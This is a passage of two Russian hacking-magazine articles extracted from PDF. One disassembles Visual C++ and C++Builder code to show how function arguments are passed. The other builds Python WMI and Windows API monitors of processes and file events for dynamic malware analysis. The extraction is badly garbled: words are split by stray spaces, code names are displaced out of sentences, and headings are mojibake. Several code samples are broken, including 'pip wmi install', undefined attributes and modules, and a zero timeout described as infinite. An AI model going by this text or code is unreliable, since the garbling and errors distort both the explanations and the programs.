RCX RDX R8 R9

RSI RDI

      sub rsp, 68h
      mov rax, cs:__security_cookie

; Инвертируем значение вершины стека, результат сохраняем в RAX
      xor rax, rsp

; Далее это значение записываем в переменную
      mov [rsp+78h+var_20], rax
      mov eax, 1
     imul rax, 0

; В регистр RAX помещаем указатель на область памяти:
      lea rax, [rsp+rax+78h+Dst]

IDA нам под ска зала, что в регистр , слу жащий для переда чи парамет ров,
помеща ется стро ка "Hello,World!" из кон стан ты , которая находит ся в сег- 
менте дан ных, пред назна чен ном толь ко для чте ния, :

R8
Src

.rdata

        lea r8, Src ; "Hello,World!"

В 32-бит ный регистр , так же пред назна чен ный для переда чи парамет ров,
записы ваем чис ло бай тов:

EDX

       mov edx, 0Dh ; SizeInBytes

В регистр  попада ет ука затель на область памяти, задан ную выше, теперь
мож но пред положить, что это целевой буфер для копиро вания дан ных:

RCX

       mov rcx, rax ; Dst

На ше пред положе ние оправда лось, сле дующей коман дой осу щест вля ется
вызов фун кции для копиро вания мас сива сим волов:

    call cs:__imp_strcpy_s

Про тотип безопас ной фун кции 
, где  поп росту явля ется синони мом

, не поз воля ет опре делить порядок занесе ния аргу мен тов, одна ко
пос коль ку все биб лиотеч ные С-фун кции сле дуют сог лашению cdecl, то аргу- 
мен ты заносят ся спра ва налево. Из это го сле дует, что исходный код выг лядит
так: .

errno_t strcpy_s(char *dest rsize_t 
dest_size, const char *src); rsize_t
size_t

strcpy_s(&buff[0], 13,"Hello,World!");
Но, может быть, прог раммист исполь зовал пре обра зова ние, ска жем,

в stdcall? Край не малове роят но: для это го приш лось бы переком пилиро вать
и саму  — ина че отку да бы она узна ла, что порядок занесе ния аргу- 
мен тов изме нил ся? Хотя обыч но стан дар тные биб лиоте ки пос тавля ются
с исходны ми тек ста ми, их переком пиляци ей прак тичес ки ник то и никог да
не занима ется.

strcpy_s

За носим в локаль ную перемен ную кон стан ту . Это явно кон стан та,
а не ука затель, так как у Windows в этой области памяти не могут хра нить ся
никакие поль зователь ские дан ные:

0x777

      mov [rsp+78h+var_24], 777h

Го товим парамет ры для выпол нения цик личес кой опе рации, раз мещая их
в регис трах:

       lea rax, [rsp+78h+var_58] ; Указатель на начало области памяти 
приемника

      lea rcx, [rsp+78h+Dst]       ; Указатель на начало области 
памяти источника

       mov rdi, rax ; Приемник
       mov rsi, rcx ; Источник

; Теперь RSI и RDI содержат, соответственно, адреса источника и 
приемника

      mov ecx, 18h

В пос ледней стро ке пре дыду щего лис тинга в регистр , занима ющий ниж- 
ние 32 бита регис тра , помеща ем количес тво бай тов для копиро вания.

ECX
RCX

Вот она, переда ча стро ки по зна чению, дру гими сло вами — переда ча
цепоч ки бай тов:

 rep movsb

Вни матель но рас смот рим дей ствие этой коман ды.  копиру ет один байт,
она отно сит ся к семей ству команд переда чи дан ных , где зак лючитель- 
ная бук ва опре деля ет раз мер дан ных:  — байт,  — сло во,  — двой ное сло- 
во и так далее. Для задания парамет ров коман ды на плат форме x64 исполь- 
зуют ся регис тры  и , в пер вый помеща ется адрес источни ка в сег менте
дан ных, во вто рой — адрес при емни ка в допол нитель ном сег менте. Опре- 
деле ние парамет ров хорошо прос лежива ется в пре дыду щем лис тинге.

MOVSB
MOVS

B W D

RSI RDI

Что бы пов торить дей ствие коман ды , перед ней ука зыва ется пре- 
фикс . Кро ме того, что бы про цес сор знал, сколь ко раз надо пов торить
выпол нение коман ды, перед ее вызовом необ ходимо помес тить это зна чение
в регистр  (или ). Таким обра зом, пос ле выпол нения коман ды 
зна чение в регис тре умень шает ся на еди ницу. И цикл выпол нения коман ды
про дол жает ся, пока в  ( ) не появит ся ноль. Строч кой выше в нашем
дизас сем бли рован ном лис тинге как раз и осу щест вля ется эта опе рация: 

. Переве дем чис ло в десятич ную фор му, получим 24 пов торения.

MOVSB
REP

RCX ECX MOVSB

RCX ECX
mov

ecx, 18h

INFO

На вер няка ты заметил, что на стар ших моделях
про цес сора x86 прог раммист может обра щать ся
толь ко к ниж ней полови не регис тров млад шей
модели. Таким обра зом, на 64-бит ном про цес- 
соре мы можем обра щать ся толь ко к ниж ней
полови не 32-бит ных регис тров. Но так было
не всег да, на 16-бит ных Intel-сов мести мых про- 
цес сорах прог раммист мог обра щать ся так же
к стар шей полови не 8-бит ных регис тров.
С выходом 80386 Intel под забила на это, зап- 
ретив обра щать ся к стар шей полови не регис тров.

Из это го мож но сде лать вывод, что прог рамма копиру ет 24 бай та. Давай раз- 
бирать ся, почему бай тов 24, ког да нес коль кими стро ками выше для копиро- 
вания стро ки нам хва тило толь ко 13 байт? Как обыч но, не под смат ривая
исходник, зай мем позицию хакера.

Пос ле ини циали зации сте ка зна чение регис тра  ука зыва ет на вер шину
сте ка, которая находит ся по самому млад шему адре су, тог да как дно рас- 
полага ется по самому стар шему адре су, пос коль ку стек рас тет свер ху вниз.
Ука затель на начало целево го буфера памяти выг лядит так: 

 Взгля нув в начало лис тинга рас смат рива емой фун кции,
выяс ним, что «динами чес кая перемен ная»  рав на . «Динами чес- 
кая перемен ная» в том смыс ле, что зна чение пред став ляет собой
не перемен ную, а толь ко сме щение отно ситель но вер шины сте ка. Тог да
как зна чение  из выраже ния  ука зыва ющее на буфер
памяти источни ка, рав но .

RSP

.[rsp+78h+var_58]
var_58 -58h

Dst ,[rsp+78h+Dst]
-38h

Для упро щения вычис лений при мем : адрес источни ка 
, адрес при емни ка — . Все рав но кар тина

не скла дыва ется. Обра ти вни мание на строч ку 
. Адрес перемен ной равен . Это уже нам о чем-то говорит. Тип 

занима ет 4 бай та — . Отсю да име ем: ; 
 в десятич ной сис теме. Таким обра зом, нам уда лось вос создать

струк туру, которую задумал прог раммист при написа нии сво его при ложе ния.

RSP = 0 [78h – 
38h] = 40h [78h – 58h] = 20h

mov [rsp+78h+var_24], 
777h 54h int

54h + 4h 54h – 40h = 14h 14h + 4h 
= 18h = 24

  struct XT {
    char s0[20];
    int x;
};

Сна чала сле дует 20 одно бай товых сим волов типа char, а затем четырех бай- 
товый int. Далее в  помеща ем ука затель на буфер, куда на пре дыду щем
шаге была ско пиро вана струк тура. Пос коль ку  исполь зует ся для переда чи
аргу мен тов, отме тим про себя этот момент.

RDX
RDX

      lea rdx, [rsp+78h+var_58]
     movsd xmm0, cs:__real@401aa3d70a3d70a4 ; a

За носим в  зна чение кон стан ты . Прок рутим
лис тинг в дизас сем бле ре, что бы уви деть, чему рав но ее зна чение:

XMM0 __real@401aa3d70a3d70a4

; .rdata:0000000140002270 ; long double DOUBLE_6_66
   .rdata:0000000140002270 __real@401aa3d70a3d70a4 dq 6.66

Как мы пом ним, на плат форме x64 при переда че пер вых четырех зна чений
с пла вающей запятой исполь зуют ся пер вые четыре регис тра 
из про цес сорно го рас ширения SSE.

XMM0 — XMM3

    call MyFunc(double,XT)

IDA пра виль но рас позна ла про тотип вызыва емой фун кции. При чем
в обратном поряд ке: сна чала в стек была ско пиро вана струк тура, затем
в регистр  — зна чение с пла вающей запятой. Таким обра зом, парамет ры
переда ются одновре мен но и в регис тре про цес сора, и в сте ке.

XMM0

; Убираем за собой, деинициализируем стек
      xor eax, eax
       mov rcx, [rsp+78h+var_20] ; Значение вершины стека из области 

памяти
                             ; помещаем в регистр RCX
      xor rcx, rsp              ; StackCookie
    call __security_check_cookie

      add rsp, 68h
; Извлекаем из стека значения ранее сохраненных регистров

     pop rdi
     pop rsi

retn

Рас положе ние в сте ке парамет ров перед вызовом фун кции MyFunc

EMBARCADERO C++BUILDER

Те перь пос мотрим, какой код сге нери рует ком пилятор Embarcadero
C++Builder:

Нас трой ки про екта в C++Builder

     main proc near
     var_44 = dword ptr -44h
     var_40 = qword ptr -40h
     var_38 = qword ptr -38h
     var_30 = qword ptr -30h
     var_28 = qword ptr -28h
     var_20 = qword ptr -20h
     var_14 = dword ptr -14h
     var_10 = qword ptr -10h
      var_8 = dword ptr -8
      var_4 = dword ptr -4

       sub rsp, 68h ; Инициализируем стек
; Заполняем регистры

       mov eax, 0Dh ; Число 13
       mov r8d, eax ; Два 32-битных регистра
       lea r9, aHelloWorld ; "Hello,World!"
       lea r10, [rsp+68h+var_28] ; Указатель на пустую область памяти
      mov [rsp+68h+var_4], 0
      mov [rsp+68h+var_8], ecx
      mov [rsp+68h+var_10], rdx

Го товим регис тры для переда чи парамет ров фун кции:

       mov rcx, r10 ; Указатель на целевую область памяти для 
копирования

        mov rdx, r8 ; Src — число 13 (символов для копирования)
         mov r8, r9 ; "Hello,World!"

Те перь вызыва ем фун кцию, копиру ющую стро ку, исполь зуя задан ные ранее
парамет ры:

    call strcpy_s
    movsd xmm0, cs:qword_44A000

В стро ке выше помеща ем в регистр  двой ное сло во из кон стан ты — чис- 
ло с пла вающей запятой. Далее помеща ем в  ука затель на начало пус того
буфера:

XMM0
RDX

      lea rdx, [rsp+68h+var_40]
      mov [rsp+68h+var_14], 777h

Вы ше в перемен ную помеща ем кон стан ту . Это важ ный момент, обра- 
тим на него вни мание. Далее в регистр  помеща ется ско пиро ван ная стро- 
ка, она находит ся акку рат перед чис лом: , далее, вплоть
до вызова фун кции, эта область памяти не переза писы вает ся:

0x777
RCX
-28h + 14h = -14h

      mov rcx, [rsp+68h+var_28]
      mov [rsp+68h+var_40], rcx
      mov rcx, [rsp+68h+var_20]
      mov [rsp+68h+var_38], rcx
      mov rcx, [rsp+50h]

Здесь мы видим новое пере упо рядо чива ние дан ных в памяти: сна чала в стек
копиру ется стро ка, сос тоящая из 14h байт:

      mov [rsp+68h+var_30], rcx

За тем зна чение типа int — 4h бай та:

      mov [rsp+68h+var_44], eax
    call MyFunc(double,XT)

Пос ле вызова фун кции нет очис тки сте ка. Это пос ледняя вызыва емая фун- 
кция, и очис тки сте ка не тре бует ся — C++Builder ее и не выпол няет...

Ка кой стран ный спо соб обну ления регис тра ! Visual C++ в этом мес те
пошел про торен ной дорогой: , что в разы быс трее.

EAX
xor eax, eax

      mov [rsp+68h+var_4], 0
      mov eax, [rsp+68h+var_4]

Об нуление  нуж но, что бы фун кция вер нула 0, даже если она фак тичес ки
ничего не воз вра щает. Вос ста нав лива ем  — вот почему стек не очи щал ся
пос ле вызова пос ледней фун кции!

EAX
RSP

      add rsp, 68h
retn

    main endp

Об рати вни мание: по умол чанию Visual C++ переда ет аргу мен ты спра ва
налево:

...
      lea rdx, [rsp+78h+var_58]

    movsd xmm0, cs:__real@401aa3d70a3d70a4
...

В то же вре мя C++Builder — сле ва нап раво:

...
    movsd xmm0, cs:qword_44A000

      lea rdx, [rsp+68h+var_40]
...

Сре ди стан дар тных типов вызова нет такого, который, переда вая аргу мен ты
сле ва нап раво, поручал бы очис тку сте ка вызыва ющей фун кции! Выходит,
C++Builder исполь зует свой собс твен ный, ни с чем не сов мести мый тип
вызова!

Вто рое отли чие, которое бро сает ся в гла за, — это отсутс твие непос редс- 
твен ного копиро вания стро ки. Одна ко пос ле копиро вания стро ки с помощью
фун кции  в начале прог раммы мы видим сле дующее:strcpy_s

...
       lea r9, aHelloWorld ; "Hello,World!"
       lea r10, [rsp+68h+var_28] ; Указатель на пустую область памяти

...
       mov rcx, r10 ; Указатель на целевую область памяти для 

копирования
        mov rdx, r8 ; Src — 13
         mov r8, r9 ; "Hello,World!"
     call strcpy_s ; Копируем строку

...

Вмес то вто рого копиро вания здесь при сутс тву ет запутан ная манипу ляция
адре сами. В осталь ном же оба дизас сем бли рован ных лис тинга похожи, но в
них ощу щает ся харак терный почерк ком пилято ра.

ÇÀÊËÞ×ÅÍÈÅ

В сегод няшней статье мы толь ко начали раз бирать ся в воп росах иден тифика- 
ции аргу мен тов фун кций. Далее нас ждет мно го инте рес ного из жиз ни прог- 
рамм. Нап ример, в даль нейшем мы рас смот рим адре сацию аргу мен тов
в сте ке.
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ВЗЛОМ

Мно гие вре донос ные прог раммы соп ротив ляют ся отладке:
они отсле жива ют и бло киру ют запуск популяр ных ути лит
для монито рин га фай ловой сис темы, про цес сов и изме- 
нений в реес тре Windows. Что бы обхитрить такую мал варь,
мы напишем на Python собс твен ный инс тру мент для иссле- 
дова ния образцов вре донос ных прог рамм.

Ста тичес кий ана лиз, как ты зна ешь, под разуме вает иссле дова ние исполня- 
емо го фай ла без его запус ка. Динами чес кий куда увле катель нее: в этом слу- 
чае обра зец запус кают и отсле жива ют все про исхо дящие при этом в сис теме
события. Для иссле дова теля инте рес нее все го опе рации с фай ловыми объ- 
екта ми, с реес тром, а так же все слу чаи соз дания и унич тожения про цес сов.
Для получе ния более пол ной кар тины неп лохо было бы отсле живать вызовы
API-фун кций ана лизи руемой прог раммой. Разуме ется, экспе римен тировать
с вре доно сом нуж но в изо лиро ван ной сре де с исполь зовани ем вир туаль ной
машины или песоч ницы — ина че он может нат ворить бед.

INFO

Под робнее о методи ке ста тичес кого ана лиза вре- 
донос ных фай лов ты можешь про читать в статье
«

».
Мал варь на прос вет. Учим ся быс тро искать

приз наки вре донос ного кода

Для отсле жива ния жиз неде ятель нос ти при ложе ний сущес тву ет целый арсе- 
нал готовых средств, сре ди которых самое извес тное — ути лита Process
Monitor из . Эта тул за в рек ламе не нуж дает ся, она неп лохо
докумен тирова на и поль зует ся зас лужен ной популяр ностью. Process Monitor
спо собен отсле живать все изме нения в фай ловой сис теме Windows, монито- 
рить опе рации соз дания и унич тожения про цес сов и потоков, регис три ровать
и отоб ражать про исхо дящее в реес тре, а так же фик сировать опе рации заг- 
рузки DLL-биб лиотек и драй веров устрой ств.

Sysinternals Suite

Process Monitor из сос тава Sysinternals Suite

От сле живать вызовы API-фун кций мож но с помощью ути литы 
фран цуз ской ком пании . Тутори ал по работе с этой тул зой мож но най- 
ти на , прав да на англий ском язы ке.

API Monitor
Rohitab

сай те прог раммы

API Monitor

Са мый глав ный недос таток этих ути лит (как, впро чем, и дру гих широко рас- 
простра нен ных прог рамм такого рода) имен но в их популяр ности. Потому что
с ними отлично зна комы не толь ко ана лити ки, но и вирусо писа тели. Далеко
не любая мал варь поз волит исполь зовать подоб ные инс тру мен ты и без- 
наказан но иссле довать свое поведе ние в сис теме. Наибо лее прод винутые
тро яны фик сиру ют любые попыт ки запус ка анти виру сов и средств ана лиза
сос тояния ОС, а затем либо пыта ются все ми прав дами и неп равда ми при- 
бить соот ветс тву ющий про цесс, либо прек раща ют активные дей ствия до луч- 
ших вре мен.

Тем не менее сущес тву ют спо собы перехит рить мал варь. Один из наибо- 
лее оче вид ных — изоб рести собс твен ный инс тру мент, который будет уметь
(хотя бы час тично) то же самое, что дела ют Process Monitor, API Monitor и им
подоб ные прог раммы. Чем мы, бла гос ловясь, и зай мем ся.

Для работы мы будем исполь зовать Python (не зря же он счи тает ся одним
из самых хакер ских язы ков прог рамми рова ния). Отсле живать инте ресу ющие
нас события, свя зан ные с реес тром, фай ловой сис темой или про цес сами,
мож но дву мя путями: исполь зуя спе циали зиро ван ные API-фун кции Windows
и при помощи механиз мов  (Windows Management Instrumentation,
или инс тру мен тарий управле ния Windows).

WMI

То есть, помимо Python, нам понадо бят ся модуль  и модуль .
Уста новить их очень прос то (на самом деле дос таточ но пос тавить толь ко
пакет WMI, а он уже самос тоятель но под гру зит pywin32):

pywin32 WMI

pip install pywin32 
pip wmi install 

Что бы отсле дить вызовы API-фун кций, понадо бит ся модуль . Этот
модуль работа ет толь ко со вто рой вер сией Python (если говорить точ нее, то
пот ребу ется 2.5, 2.6 или 2.7), поэто му ста рый Python рано окон чатель но спи- 
сывать в утиль. Тем более что автор WinAppDbg пока не пла ниру ет перепи- 
сывать модуль под третью вер сию в свя зи с необ ходимостью рефак торин га
боль шого объ ема кода, о чем пря мо говорит в докумен тации. Уста новить
модуль мож но через pip:

WinAppDbg

pip install winappdbg 

Cка чав и уста новив все необ ходимые модули, прис тупим к таинс тву написа- 
ния собс твен ного инс тру мен та для динами чес кого ана лиза мал вари.

ÎÒÑËÅÆÈÂÀÅÌ ÏÐÎÖÅÑÑÛ

От сле живать про цес сы будем с помощью механиз ма WMI. Это дела ется дос- 
таточ но прос то:

 import wmi

  notify_filter = "creation"
  process_watcher = wmi.WMI().Win32_Process.watch_for(notify_filter)

 while True:
     new_process = process_watcher()
   print(new_process.Caption)
   print(new_process.CreationDate)

Здесь  может при нимать сле дующие зна чения:notify_filter
 — реаги руем на все воз можные опе рации с про цес сами;• "operation"

 — реаги руем толь ко на соз дание (запуск) про цес са;• "creation"
 — реаги руем толь ко на завер шение (унич тожение) про цес- 

са;
• "deletion"

 — реаги руем толь ко на изме нения в про цес се.• "modification"

Да лее (в треть ей стро ке) мы соз даем объ ект-наб людатель ,
который будет сра баты вать каж дый раз, ког да нас тупа ет событие с про цес- 
сами, опре делен ное в  (в нашем слу чае при его запус ке). Пос- 
ле чего мы в бес конеч ном цик ле выводим имя вновь запущен ного про цес са
и вре мя его запус ка. Вре мя пред став лено в виде стро ки в фор мате

 (более под робно об этом фор мате мож но
почитать ), поэто му для вывода вре мени в более при выч ной фор ме
мож но написать неч то вро де фун кции пре обра зова ния фор мата вре мени:

process_watcher

notify_filter

yyyymmddHHMMSS.mmmmmmsYYY
здесь

 def date_time_format(date_time):
     year = date_time[:4]
     month = date_time[4:6]
     day = date_time[6:8]
     hour = date_time[8:10]
     minutes = date_time[10:12]
     seconds = date_time[12:14]
        

 
return '{0}/{1}/{2} {3}:{4}:{5}'.format(day, month, year, hour,

minutes, seconds)

Во обще, делать такие вещи прос то в бес конеч ном цик ле не очень хорошо,
поэто му мы офор мим все это в виде клас са, что бы потом запус кать его
в отдель ном потоке. Таким обра зом мы получим воз можность отсле живать
в одном потоке, нап ример, момен ты соз дания про цес сов, а в дру гом — их
унич тожения. Итак, класс :ProcessMonitor

 class ProcessMonitor():

     def __init__(self, notify_filter='operation'):
         self._process_property = {

            'Caption': None,
            'CreationDate': None,

            'ProcessID': None,
       }

         self._process_watcher = wmi.WMI().Win32_Process.watch_for(
           notify_filter
       )

    def update(self):
         process = self._process_watcher()

         self._process_property['EventType'] = process.event_type
         self._process_property['Caption'] = process.Caption

         self._process_property['CreationDate'] = process.CreationDate
         self._process_property['ProcessID'] = process.ProcessID

   @property
    def event_type(self):

        return self._process_property['EventType']

   @property
    def caption(self):

        return self._process_property['Caption']

   @property
    def creation_date(self):

        return date_time_format(self._process_property['CreationDate'
])

   @property
    def process_id(self):

        return self._process_property['ProcessID']

При ини циали зации клас са мы соз даем спи сок свой ств про цес са
 в виде сло варя и опре деля ем объ ект наб людате ля

за про цес сами (при этом зна чение  может быть опре деле но
в момент ини циали зации клас са и по умол чанию задано как ).
Спи сок свой ств про цес са может быть рас ширен (более под робно о свой- 
ствах про цес сов мож но почитать ).

_process_property
notify_filter

"operation"

здесь
Ме тод  обновля ет поля , ког да про исхо дит

событие, опре делен ное зна чени ем , а методы ,
,  и  поз воля ют получить зна чения соот- 

ветс тву ющих полей спис ка свой ств про цес са (обра ти вни мание, что эти
методы объ явле ны как свой ства клас са с исполь зовани ем декора тора

).

update() _process_property
notify_filter event_type

caption creation_date process_id

@property
Те перь это все мож но запус кать в отдель ном потоке. Для начала соз дадим

класс , нас леду емый от клас са  (из Python-модуля ):Monitor Thread threading

   from threading import Thread
 import wmi
 import pythoncom

...

# Не забываем вставить здесь описание класса ProcessMonitor

...
 class Monitor(Thread):

     def __init__(self, action):
         self._action = action

       Thread.__init__(self)

    def run(self):
       pythoncom.CoInitialize()

         proc_mon = ProcessMonitor(self._action)
        while True:

           proc_mon.update()
           print(
               proc_mon.creation_date,
               proc_mon.event_type,
               proc_mon.name,
               proc_mon.process_id
           )
       pythoncom.CoUninitialize()

При желании цикл мож но сде лать пре рыва емым, нап ример по нажатию
какого-либо сочета ния кла виш (для это го нуж но исполь зовать воз можнос ти
модуля  и его фун кции ). Вмес то вывода резуль татов
на экран мож но писать резуль тат работы прог раммы в лог-файл, для чего
при меня ется соот ветс тву ющая фун кция, которую сле дует исполь зовать вмес- 
то .

keyboard is_pressed()

print()
Да лее уже мож но запус кать монито ринг событий про цес сов в отдель ных

потоках:

# Отслеживаем события создания процессов
  mon_creation = Monitor('creation')

mon_creation.start()
# Отслеживаем события уничтожения процессов

  mon_deletion = Monitor('deletion')
mon_deletion.start()

В ито ге получим при мер но сле дующую кар тину.

Ре зуль таты работы нашего Python-скрип та для отсле жива ния событий
соз дания и унич тожения про цес сов

Продолжение статьи →
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Здесь, как мы и говори ли в начале, мож но пой ти дву мя путями: исполь зовать
спе циали зиро ван ные API-фун кции Windows или воз можнос ти, пре дос тавля- 
емые механиз мом WMI. В обо их слу чаях монито ринг событий луч ше выпол- 
нять в отдель ном потоке, так же как мы сде лали при отсле жива нии про цес- 
сов. Поэто му для начала опи шем базовый класс , а затем
от него нас леду ем класс , в котором будем исполь зовать
спе циали зиро ван ные API-фун кции Windows, и класс ,
в котором при меним механиз мы WMI.

FileMonitor
FileMonitorAPI

FileMonitorWMI

Итак, наш базовый класс будет выг лядеть при мер но так:

 class FileMonitor:

      def __init__(self, notify_filter, **kwargs):
         self._notify_filter = notify_filter

         self._kwargs = kwargs
         self._event_properties = {

            'Drive': None,
            'Path': None,

            'FileName': None,
            'Extension': None,
            'Timestamp': None,
            'EventType': None,

       }

   @property
    def drive(self):

        return self._event_properties['Drive']

   @property
    def path(self):

        return self._event_properties['Path']

   @property
    def file_name(self):

        return self._event_properties['FileName']

   @property
    def extension(self):

        return self._event_properties['Extension']

   @property
    def timestamp(self):

        return self._event_properties['Timestamp']

   @property
    def event_type(self):

        return self._event_properties['EventType']

Здесь при ини циали зации так же исполь зует ся параметр  (его
воз можные зна чения опре деля ются в зависи мос ти от того, исполь зуют ся API
или WMI) и параметр , с помощью которо го опре деля ется путь
к отсле жива емо му фай лу или катало гу, его имя, рас ширение и про чее. Эти
зна чения так же зависят от исполь зования API или WMI и будут кон кре тизи- 
рова ны уже в клас сах-нас ледни ках. При ини циали зации клас са соз дает ся
сло варь  для хра нения свой ств события: имя дис ка, путь
к фай лу, имя фай ла, рас ширение, мет ка вре мени и тип события (по ана логии
с клас сом монито рин га событий про цес сов). Ну а с осталь ными метода ми
нашего базово го клас са, я думаю, все и так понят но: они поз воля ют получить
зна чения соот ветс тву юще го поля из сло варя свой ств события.

notify_filter

**kwargs

_event_property

Èñïîëüçóåì API Windows

В осно ву это го вари анта реали зации монито рин га будет положе на фун кция
. Упо мяну тая фун кция занима ется тем, что ждет, ког- 

да объ ект (хендл которо го передан в качес тве пер вого парамет ра) перей дет
в сиг наль ное сос тояние, и воз вра щает , ког да объ ект изме нит
свое сос тояние. Помимо этой фун кции, в Windows есть весь ма полез ная фун- 
кция , наз начение которой — сле дить за изме- 
нени ями фай ла или катало га, ука зан ного в одном из парамет ров фун кции.
Так же в про цес се монито рин га мы задей ству ем API 
и .

WaitForSingleObject()

WAIT_OBJECT_0

ReadDirectoryChangesW()

CreateFile()
CreateEvent()

Итак, нач нем.

# Подключим все необходимые модули
 import pywintypes
 import win32api
 import win32event
 import win32con
 import win32file
 import winnt

 class FileMonitorAPI(FileMonitor):

        def __init__(self, notify_filter = 'FileNameChange', **kwargs):
       # Здесь в качестве **kwargs необходимо указывать
       # путь к файлу или директории
       # в виде "Path=r'e:\\example\\file.txt'"

         FileMonitor.__init__(self, notify_filter, **kwargs)
       # Получаем хендл нужного файла или каталога

         self._directory = win32file.CreateFile(
           self._kwargs['Path'],
           winnt.FILE_LIST_DIRECTORY,

            win32con.FILE_SHARE_READ |
           win32con.FILE_SHARE_WRITE,
           None,
           win32con.OPEN_EXISTING,

            win32con.FILE_FLAG_BACKUP_SEMANTICS |
           win32con.FILE_FLAG_OVERLAPPED,
           None
       )
       # Инициализируем структуру типа OVERLAPPED

         self._overlapped = pywintypes.OVERLAPPED()
       # и поместим в нее хендл объекта «событие» в сброшенном 
состоянии

         self._overlapped.hEvent = win32event.CreateEvent(
           None,
           False,
           False,
           None
       )
       # Выделим память, куда будет записана информация
       # об отслеживаемом файле или каталоге

          self._buffer = win32file.AllocateReadBuffer(1024)
       # Здесь будет число байтов сведений о файле или каталоге,
       # записанных при наступлении события

         self._num_bytes_returned = 0
       # Установим «наблюдатель» за событиями (его мы опишем ниже)
       self._set_watcher()

Зна чения парамет ра  кор релиру ют с кон стан тами
, 

или . Для их пре обра зова ния мы ниже опи- 
шем спе циаль ный метод. Так же опре делим метод , с помощью
которо го и будем обновлять све дения о про изо шед шем событии.

notify_filter
FILE_NOTIFY_CHANGE_FILE_NAME FILE_NOTIFY_CHANGE_DIR_NAME

FILE_NOTIFY_CHANGE_LAST_WRITE
update()

 def update(self):
    while True:
       # Ждем наступления события (поскольку второй параметр 0, то 
время
       # ожидания бесконечно)

  
 

       result = win32event.WaitForSingleObject(self._overlapped.
hEvent, 0)

          if result == win32con.WAIT_OBJECT_0:
           # Если событие произошло, то получим размер сохраненных 
сведений о событии

             self._num_bytes_returned = win32file.GetOverlappedResult(
               self._directory,
               self._overlapped,
               True
           )
           # Поместим информацию о событии в _event_properties

             self._event_properties['Path'] = self._get_path()
             self._event_properties['FileName'] = self._get_file_name(

)
           ...
           self._set_watcher()
           break

На пишем метод уста нов ки «наб людате ля» за событи ями в фай ловой сис теме
(в ней мы задей ству ем фун кцию ):ReadDirectoryChangesW()

 def _set_watcher(self):
       win32file.ReadDirectoryChangesW(
           self._directory,
           self._buffer,
           True,
           self._get_notify_filter_const(),
           self._overlapped,
           None
       )

Пос коль ку в качес тве одно го из парамет ров  при- 
нима ет кон стан ты, опре деля ющие тип отсле жива емо го события, то опре- 
делим метод, пре обра зующий зна чения парамет ра  в ука зан- 
ные кон стан ты.

ReadDirectoryChangesW()

notify_filter

 def _get_notify_filter_const(self):
      if self._notify_filter == 'FileNameChange':

        return win32con.FILE_NOTIFY_CHANGE_FILE_NAME
   ...

Здесь для прос тоты показа но пре обра зова ние в кон стан ту толь ко одно го
зна чения , по ана логии мож но опи сать пре обра зова ние дру- 
гих зна чений  в кон стан ты 
или .

notify_filter
notify_filter FILE_NOTIFY_CHANGE_DIR_NAME

FILE_NOTIFY_CHANGE_LAST_WRITE
Да лее опре делим методы, воз вра щающие сох ранен ные в буфере 

свой ства события при нас тупле нии это го события. Воз вра щающий тип
события метод выг лядит так:

_buffer

 def _get_event_type(self):
     result = ''
      if self._num_bytes_returned != 0:

         result = self._ACTIONS.get(win32file.FILE_NOTIFY_INFORMATION(
             self._buffer, self._num_bytes_returned)[0][0], 'Uncnown')

    return result

В этом методе исполь зует ся кон стан та , содер жащая воз можные
дей ствия с отсле жива емым фай лом или катало гом. Эта кон стан та опре деле- 
на в виде сло варя сле дующим обра зом:

_ACTIONS

  _ACTIONS = {
    0x00000000: 'Unknown action',
    0x00000001: 'Added',
    0x00000002: 'Removed',
    0x00000003: 'Modified',
    0x00000004: 'Renamed from file or directory',
    0x00000005: 'Renamed to file or directory'
}

Ме тод, воз вра щающий путь к отсле жива емо му фай лу:

 def _get_path(self):
     result = ''
      if self._num_bytes_returned != 0:

         result = win32file.GetFinalPathNameByHandle(
           self._directory,
           win32con.FILE_NAME_NORMALIZED
       )
    return result

Ме тод, воз вра щающий имя отсле жива емо го фай ла, которое было сох ранено
в  при нас тупле нии события:_buffer

 def _get_file_name(self):
     result = ''
      if self._num_bytes_returned != 0:

         result = win32file.FILE_NOTIFY_INFORMATION(
            self._buffer, self._num_bytes_returned)[0][1]

    return result

За дей ство вать это все мож но сле дующим обра зом (по ана логии с монито- 
рин гом про цес сов):

   from threading import Thread
 import pywintypes
 import win32api
 import win32event
 import win32con
 import win32file
 import winnt

...

# Не забываем вставить здесь описание классов FileMonitor и 
FileMonitorAPI

...
# Опишем класс Monitor, наследуемый от Thread

 class Monitor(Thread):

    def __init__(self):
       Thread.__init__(self)

    def run(self):
       # Используем значение notify_filter по умолчанию

         file_mon = pymonitor.FileMonitorAPI(Path=r'e:\\example')
        while True:

           file_mon.update()
           print(file_mon.timestamp,
               file_mon.path,
               file_mon.file_name,
               file_mon.event_type
           )

# Создадим экземпляр класса Monitor
  mon = Monitor()

# Запустим процесс мониторинга
mon.start()

Èñïîëüçóåì WMI

Мо нито ринг событий фай ловой сис темы с исполь зовани ем WMI похож
на ранее рас смот ренное отсле жива ние событий с про цес сами. Для того что- 
бы сле дить за изме нени ями кон крет ного фай ла, вос поль зуем ся сле дующим
кодом:

 import wmi

  notify_filter = "creation"
# «Наблюдатель» за изменениями в файле

  file_watcher = wmi.WMI().CIM_DataFile.watch_for(
        

   
notify_filter, Drive = 'e:', Path=r'\\example_dir\\', FileName=

'example_file', Extension = 'txt'
)

 while True:
   # Выводим информацию о событии с файлом
     new_file = file_watcher()
   print(new_file.timestamp)
   print(new_file.event_type)

Здесь вид но, что, помимо парамет ра , еще переда ются
парамет ры, опре деля ющие файл, события которо го необ ходимо отсле- 
живать. Обра ти вни мание на осо бен ность написа ния парамет ра 
с модифи като ром  (он нужен для того, что бы получить тре буемое количес тво
сле шей-раз делите лей в стро ке).

notify_filter

Path
r

Для отсле жива ния изме нений в катало ге, а не в фай ле вмес то клас са
 необ ходимо исполь зовать класс  (более под- 

робно о работе с фай ловой сис темой с помощью WMI 
):

CIM_DataFile CIM_Directory
мож но почитать

здесь

  directory_watcher = wmi.WMI().CIM_Directory.watch_for(
       notify_filter, Drive = 'e:', Path=r'\\example_dir\\'
)

Ко неч но, все это желатель но офор мить в виде клас са — нас ледни ка
от нашего базово го клас са , опи сан ного выше, что бы монито- 
ринг событий фай ловой сис темы мож но было запус тить в отдель ном потоке.
В целом пол ную реали зацию опи сан ных клас сов по монито рин гу фай ловой
сис темы мож но .

FileMonitor

пос мотреть на моем гит хабе

Продолжение статьи →

https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject
https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-readdirectorychangesw
